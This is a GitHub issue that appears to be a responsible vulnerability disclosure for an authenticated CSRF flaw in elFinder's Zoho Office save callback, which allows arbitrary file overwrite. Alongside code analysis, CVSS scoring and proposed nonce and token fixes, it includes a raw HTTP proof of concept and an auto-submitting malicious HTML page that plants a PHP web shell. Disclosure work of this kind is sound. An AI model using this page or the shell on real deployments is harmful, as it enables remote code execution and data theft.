elFinder icon indicating copy to clipboard operation
elFinder copied to clipboard

elFinder Zoho Office editor callback – authenticated arbitrary file overwrite via CSRF (cmd=editor&name=ZohoOffice&method=save)

Open 5m477 opened this issue 2 months ago • 0 comments

Description

The Zoho Office integration exposes cmd=editor&name=ZohoOffice&method=save, a multipart POST endpoint that is intended to receive Zoho’s callback with the edited document. The handler accepts any user-supplied hash value, looks up the corresponding volume using the victim’s existing session cookies, and then overwrites that file with the uploaded payload via $volume->putContents(). There is no CSRF token, no nonce binding the request to a prior init() call, and no verification that the callback originated from Zoho.

In practice, any external site can build a hidden form that posts to the connector while the victim is logged in. When the browser submits that form, the attacker-controlled content replaces the targeted file. This behavior is present in upstream elFinder as of November 2025 as well as in downstream mirrors such as the Typesetter gitea snapshot observed on 2025-11-10.

Impact depends on the writable paths exposed by the affected volume:

  • Persistent XSS by overwriting HTML, JavaScript, or templated assets.
  • Remote code execution by dropping or replacing PHP scripts under webroot.
  • Application corruption or data loss by clobbering configuration or content files.

Affected Component

File: php/editors/ZohoOffice/editor.php, method elFinderEditorZohoOffice::save()

Entry point: cmd=editor&name=ZohoOffice&method=save in the PHP connector.

Current implementation in Studio-42/elFinder main branch (lines 188-209):

public function save()
{
    if (!empty($_POST) && !empty($_POST['hash']) && !empty($_FILES) && !empty($_FILES['content'])) {
        $hash = $_POST['hash'];
        /** @var elFinderVolumeDriver $volume */
        if ($volume = $this->elfinder->getVolume($hash)) {
            if ($content = file_get_contents($_FILES['content']['tmp_name'])) {
                if ($volume->putContents($hash, $content)) {
                    return array('raw' => true, 'error' => '', 'header' => 'HTTP/1.1 200 OK');
                }
            }
        }
    }
    return array('raw' => true, 'error' => '', 'header' => 'HTTP/1.1 500 Internal Server Error');
}

Note: The hash is accepted directly from $_POST['hash'] (not from a JSON-encoded $_POST['id'] as in some older forks). This is the current upstream implementation as confirmed in the repository.


Root Cause

1. Untrusted File Identifier

The save() handler:

  • accepts hash directly from $_POST['hash'],
  • passes this hash directly into $this->elfinder->getVolume($hash) and $volume->putContents($hash, $content).

There is no verification that:

  • the hash came from a genuine init call, or
  • it was ever associated with this Zoho session, or
  • the request originated from Zoho's servers.

2. No CSRF Protection

The PHP connector's run() entry point does not enforce CSRF tokens for cmd=editor calls; it simply dispatches to the editor plugin. This design has been documented before in the context of earlier elFinder vulnerabilities.

As a result, a cross-origin <form> POST to:

/connector.php?cmd=editor&name=ZohoOffice&method=save

will be processed with the victim's existing session cookies.

3. No Binding Between init and save

In init(), the Zoho editor URL is generated (lines 150-152 in editor.php):

$conUrl = elFinder::getConnectorUrl();
$data['callback_settings']['save_url'] = $conUrl . (strpos($conUrl, '?') !== false? '&' : '?') . 'cmd=editor&name=' . $this->myName . '&method=save' . $cdata;

Additionally, the hash is passed to Zoho in save_url_params (lines 139-141):

'callback_settings' => array(
    'save_format' => $format,
    'save_url_params' => array(
        'hash' => $hash
    )
)

The callback URL contains no MAC, nonce, or session token that is later validated by save(). Zoho is configured to send back the hash parameter, which is then trusted implicitly. This parameter is fully attacker-controlled in a CSRF context.

4. Dangerous Sink: $volume->putContents()

elFinderVolumeDriver::putContents($hash, $content) resolves the hash to a path in the volume and overwrites that file with the supplied content, assuming the user has write permission. This is the same primitive that has been used in prior arbitrary file write exploits against elFinder integrations.


Impact

For any deployment that:

  • exposes the elFinder connector to the browser,
  • authenticates users via cookies,
  • and enables ZohoOffice editing (ELFINDER_ZOHO_OFFICE_APIKEY defined, enabled() returns true),

an attacker can:

  1. host a malicious web page,
  2. lure a logged-in elFinder user to visit it,
  3. and have the victim's browser send a crafted save request that overwrites any writable file in the victim's volume.

Resulting Impact:

  • Integrity: Full compromise of any writable file in the volume.
  • Availability: High – overwriting configuration, libraries, or application code can render the application unusable.
  • Confidentiality: If a writable PHP file under webroot is overwritten with attacker-controlled code, this leads to remote code execution and full data disclosure on the host.

This is an authenticated CSRF – the attacker needs the victim to be logged into elFinder in their browser, but does not need direct access to the instance.


Proof of Concept (Maintainer-Oriented)

The vulnerability can be reproduced without Zoho by simulating its callback.

Step-by-Step Reproduction:

  1. Log into your application so elFinder is available and Zoho integration is enabled.

  2. Use cmd=open (or the UI) to obtain the hash of a test file in a writable volume (e.g. a text file).

  3. From a tool like curl or a REST client, send a multipart POST to your connector:

POST /connector.php?cmd=editor&name=ZohoOffice&method=save HTTP/1.1
Host: your-elfinder-host
Cookie: [your authenticated session cookies]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="hash"

<hash-of-target-file>
------WebKitFormBoundary
Content-Disposition: form-data; name="content"; filename="payload.txt"
Content-Type: text/plain

overwritten by zoho csrf
------WebKitFormBoundary--
  1. After this request, the target file's content is replaced with overwritten by zoho csrf (or whatever payload you supplied), despite the request not originating from Zoho and not being tied to any editor session.

Browser-Based CSRF Attack:

In a browser-based CSRF scenario, a malicious site can achieve the same effect by having the victim's browser submit such a form cross-origin; there is no CSRF protection in the connector or in save().

Example malicious HTML:

<!DOCTYPE html>
<html>
<head>
    <title>Innocent Page</title>
</head>
<body>
    <h1>Loading content...</h1>
    
    <form id="csrf-attack" method="POST" 
          action="https://victim-elfinder.com/connector.php?cmd=editor&name=ZohoOffice&method=save"
          enctype="multipart/form-data" style="display:none">
        <input type="text" name="hash" value="l1_dGVzdC50eHQ">
        <input type="file" name="content">
        <input type="submit">
    </form>
    
    <script>
        // Create malicious file content
        const maliciousContent = '<?php system($_GET["cmd"]); ?>';
        const blob = new Blob([maliciousContent], {type: 'text/plain'});
        const file = new File([blob], 'shell.php', {type: 'text/plain'});
        
        // Populate file input
        const dataTransfer = new DataTransfer();
        dataTransfer.items.add(file);
        document.querySelector('input[name="content"]').files = dataTransfer.files;
        
        // Auto-submit the form
        setTimeout(() => {
            document.getElementById('csrf-attack').submit();
        }, 1000);
    </script>
    
    <p>Please wait while we load your content...</p>
</body>
</html>

When a logged-in elFinder user visits this page, their browser automatically submits the malicious form, overwriting the target file with attacker-controlled content.


Severity

I would rate this as High:

  • Attack vector: Network (cross-origin CSRF).
  • Privileges required: None beyond the victim's existing session (attacker is unauthenticated).
  • User interaction: Victim must visit an attacker-controlled page while logged in.
  • Impact: Arbitrary file overwrite → potential RCE, persistent XSS, or destructive data loss.

CVSS 3.1 Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact Breakdown:

  • Confidentiality: HIGH - Can lead to RCE and full data disclosure
  • Integrity: HIGH - Arbitrary file overwrite in user's volume
  • Availability: HIGH - Overwriting critical files can make the application unavailable
  • User Interaction: REQUIRED - Victim must visit malicious page while authenticated

Recommendations

Short-term / Hardening:

1. Add CSRF Protection to cmd=editor / save

  • Require a per-session CSRF token (e.g. stored in the PHP session and sent as a POST parameter or header) for all state-changing commands.
  • Validate this token in the connector before dispatching to editor plugins, including ZohoOffice.

Example implementation:

// Ensure connector bootstrap has a live PHP session
if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

// Inside init(), after determining $hash
$nonce = bin2hex(random_bytes(16));
$_SESSION['zoho_edit_nonce'][$hash] = $nonce;

$data['callback_settings']['save_url_params'] = array(
    'hash' => $hash,
    'nonce' => $nonce
);

$conUrl = elFinder::getConnectorUrl();
$nonceSuffix = '&nonce=' . rawurlencode($nonce);
$data['callback_settings']['save_url'] =
    $conUrl .
    (strpos($conUrl, '?') !== false ? '&' : '?') .
    'cmd=editor&name=' . $this->myName . '&method=save' . $nonceSuffix;

// Inside save()
$hash = $_POST['hash'] ?? '';
$nonce = $_POST['nonce'] ?? ($_GET['nonce'] ?? '');

if (empty($hash) || empty($_FILES['content']) ||
    empty($_SESSION['zoho_edit_nonce'][$hash]) ||
    !hash_equals($_SESSION['zoho_edit_nonce'][$hash], $nonce)) {
    return array(
        'raw' => true,
        'error' => 'Invalid or expired edit session',
        'header' => 'HTTP/1.1 403 Forbidden'
    );
}

unset($_SESSION['zoho_edit_nonce'][$hash]);

// ... continue with existing save logic using $hash

2. Validate the Source of the Callback

  • If Zoho supports signed callbacks, consider checking Zoho's signature.
  • At minimum, validate the Origin/Referer header to ensure the request comes from Zoho's domains before accepting it (recognising that referrer checks are a defence-in-depth measure, not a full CSRF solution).

Example implementation:

public function save()
{
    // Validate origin (defense-in-depth)
    $allowed_origins = [
        'https://api.office.zoho.com',
        'https://api.office.zoho.eu',
        'https://api.office.zoho.in'
    ];
    
    $origin = $_SERVER['HTTP_ORIGIN'] ?? '';
    $referer = $_SERVER['HTTP_REFERER'] ?? '';
    
    $valid_origin = false;
    foreach ($allowed_origins as $allowed) {
        if (strpos($origin, $allowed) === 0 || strpos($referer, $allowed) === 0) {
            $valid_origin = true;
            break;
        }
    }
    
    if (!$valid_origin) {
        error_log('ZohoOffice save callback from unexpected origin: ' . $origin);
        // Continue with other validation (not a hard block)
    }
    
    // ... rest of validation and save logic
}

3. Optionally Scope Hashes per Session

  • Instead of trusting arbitrary hashes in callbacks, consider mapping a short-lived, unguessable token to the target file for the duration of the Zoho editing session, and only accepting that token in save().

Example implementation:

// In init()
public function init($hash, $options = array())
{
    // Generate unique edit token
    $edit_token = bin2hex(random_bytes(16));
    
    // Map token to actual file hash
    $_SESSION['zoho_edit_tokens'][$edit_token] = [
        'hash' => $hash,
        'expires' => time() + 3600  // 1 hour
    ];
    
    // Pass token to Zoho instead of raw hash
    $data['callback_settings']['save_url_params'] = array(
        'edit_token' => $edit_token
    );
    
    // ... rest of init logic
}

// In save()
public function save()
{
    if (!empty($_POST['edit_token']) && !empty($_FILES['content'])) {
        $token = $_POST['edit_token'];
        
        // Validate edit token instead of trusting hash
        if (!empty($token)) {
            
            if (empty($_SESSION['zoho_edit_tokens'][$token])) {
                return array(
                    'raw' => true,
                    'error' => 'Invalid or expired edit token',
                    'header' => 'HTTP/1.1 403 Forbidden'
                );
            }
            
            $token_data = $_SESSION['zoho_edit_tokens'][$token];
            
            // Check expiration
            if ($token_data['expires'] < time()) {
                unset($_SESSION['zoho_edit_tokens'][$token]);
                return array(
                    'raw' => true,
                    'error' => 'Edit session expired',
                    'header' => 'HTTP/1.1 403 Forbidden'
                );
            }
            
            // Use validated hash
            $hash = $token_data['hash'];
            
            // Clean up token after use
            unset($_SESSION['zoho_edit_tokens'][$token]);
            
            // ... proceed with save using validated hash
        }
    }
}

Operational / Documentation:

Document the Risk of Enabling ZohoOffice

Until a fix is shipped, warn that enabling ZohoOffice on an internet-facing elFinder instance exposes users to CSRF-driven file overwrites, and should be limited to trusted internal environments.

Suggested security advisory text:

Security Warning: The Zoho Office editor integration currently lacks CSRF protection in the save callback handler. Until this is addressed, deployments that enable ZohoOffice (ELFINDER_ZOHO_OFFICE_APIKEY configured) on internet-facing instances are vulnerable to cross-site request forgery attacks that can overwrite arbitrary files. We recommend:

  • Only enable ZohoOffice in trusted, internal environments
  • Implement additional network-level access controls
  • Monitor for unexpected file modifications
  • Consider disabling ZohoOffice until patched versions are available

Disclosure

I haven't seen this specific Zoho save callback issue documented in the existing elFinder security notes or Packagist warning (which refer to earlier pre-2.1.65 issues), so I'm treating it as a separate vulnerability.

If you'd like, I'm happy to:

  • help verify whether other editors that implement save() in a similar way are affected.

5m477 avatar Nov 11 '25 01:11 5m477